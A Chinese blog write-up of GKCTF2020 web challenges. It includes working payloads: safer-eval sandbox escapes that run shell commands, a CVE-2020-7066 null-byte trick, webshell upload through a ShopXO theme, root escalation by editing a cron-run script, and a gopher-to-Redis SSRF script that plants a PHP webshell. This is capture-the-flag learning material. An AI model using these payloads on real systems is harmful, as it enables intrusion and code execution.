GKCTF2020

2020-05-25 22:05:00
ctf - wp - GKCTF

题目算是挺适合我的难度,后面还有一个反序列化题看着挺麻烦的就没搞,有空再复现了

CheckIN

直接给了一个eval:

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

懒得再搞一次了,后面过程简单说下:看下phpinfo发现disabelfunction禁的差不多了,写个一句话连上去,直接就是putenv+LD_PRELOA+mail绕disablefunction,传个so和php到/var/tmp下,文件包含php直接打。

无需sendmail:巧用LD_PRELOAD突破disable_functions

cve版签到

提示cve-2020-7066,是get_headers()可以被%00截断,让我们访问*.ctfhub.com,跟安恒5月赛的ezupload的正则一样,截断之后提示:

Tips: Host must be end with '123'

payload:url=http://127.0.0.123%00.ctfhub.com

老八小超市儿

一个cms,ShopXO,后台默认密码shopxo,找下有cve,下载个主题之后,马儿放到_static_,再打包传上去,马儿在/public/static/index/default/shell.php,连上去发现权限不足,给了俩提示:

  • flag{this_is_fake_flag/true_flag_in_/root}
  • Mon May 25 04:13:58 2020,Get The RooT,The Date Is Useful!

发现有个auto.sh直接在写这个flag.hint,60秒执行一次/var/mail/makeflaghint.py,看下权限发现是root

恰好这python脚本有写权限,直接把flag写出来。

import os
import io
import time
os.system("echo `cat /root/flag` >/1.txt")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

也可以拿来弹shell。

EZ三剑客-EzNode

源码给出:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

引用了safer-eval,看下版本是1.3.6,找下issue发现不少payload都能用:

setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
Buffer.of.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString();

Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout

有个setTimeout,延迟让代码执行不了,这块对我们传入跟60000作比较:

if (Number.isInteger(parseInt(req.query.delay))) {
    delay = Math.max(delay, parseInt(req.query.delay));
}
setTimeout 当 delay ⼤于 2147483647 或⼩于 1 时,则 delay 将会被设置为 1。 ⾮整 数的 delay 会被截断为整数

反正必须超过60000了(输个大点的不是更好?!),让它大点就变成1了,因此我们随意输入一个大于这个数的数就可以执行代码了。

EZ三剑客-EzWeb

提示<!--?secret-->,访问得到俩网卡:

eth0      Link encap:Ethernet  HWaddr 02:42:ad:68:44:0a  
          inet addr:173.79.233.10  Bcast:173.104.68.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:29 errors:0 dropped:0 overruns:0 frame:0
          TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:5851 (5.8 KB)  TX bytes:4952 (4.9 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

直接打173.79.233.10发现弹出来当前页面,扫下端口没发现东西,扫下内网ip发现173.79.233.11上有提示我们扫这台机器的端口。

扫下发现个6379端口,访问之,报错:

-ERR wrong number of arguments for 'get' command 1

想起来之前有个比赛有道题是stmp端口之后用gopherus生成payload,因为gopherus也支持redis的,尝试gopherus后发现无法拿到flag,能看看phpinfo啥的,但system函数执行不了,网上找脚本生成payload之后打过去倒是可以用,shell在173.79.233.11/shell.php上,cat flag即可。

import urllib
protocol="gopher://"
ip="173.239.241.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

payload:

gopher://173.79.233.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A


本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号